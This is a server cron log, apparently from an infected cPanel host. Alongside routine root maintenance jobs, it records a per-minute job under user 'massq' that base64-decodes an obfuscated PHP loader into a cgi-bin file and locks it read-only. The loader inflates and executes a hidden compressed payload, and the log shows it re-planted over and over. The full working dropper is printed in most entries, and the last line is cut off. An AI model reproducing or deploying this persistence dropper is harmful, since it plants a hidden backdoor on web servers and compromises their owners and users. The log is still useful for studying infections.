Aug 30 08:28:01 server CROND[4927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:29:01 server CROND[5316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:29:01 server CROND[5317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:29:01 server CROND[5318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:30:01 server CROND[5809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:30:01 server CROND[5811]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:30:01 server CROND[5812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:30:01 server CROND[5813]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:30:01 server CROND[5819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:30:01 server CROND[5817]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 08:30:01 server CROND[5814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:30:02 server CROND[5820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:30:02 server CROND[5815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:31:01 server CROND[6680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:31:01 server CROND[6681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:31:01 server CROND[6682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:32:01 server CROND[7069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:32:01 server CROND[7070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:32:01 server CROND[7071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:33:01 server CROND[7470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:33:01 server CROND[7471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:33:01 server CROND[7472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:34:01 server CROND[7860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:34:01 server CROND[7861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:34:01 server CROND[7862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:35:01 server CROND[8262]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:35:01 server CROND[8264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:35:01 server CROND[8267]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 08:35:01 server CROND[8265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:35:01 server CROND[8266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:35:01 server CROND[8271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:35:01 server CROND[8268]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:35:01 server CROND[8269]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:35:01 server CROND[8276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:36:01 server CROND[9214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:36:01 server CROND[9213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:36:01 server CROND[9215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:37:01 server CROND[9601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:37:01 server CROND[9602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:37:01 server CROND[9603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:38:01 server CROND[10015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:38:01 server CROND[10016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:38:01 server CROND[10014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:39:01 server CROND[10435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:39:01 server CROND[10436]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 08:39:01 server CROND[10437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:39:01 server CROND[10438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:40:01 server CROND[10870]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:40:01 server CROND[10872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:40:01 server CROND[10881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:40:01 server CROND[10883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:40:01 server CROND[10885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:40:01 server CROND[10882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:40:01 server CROND[10887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQ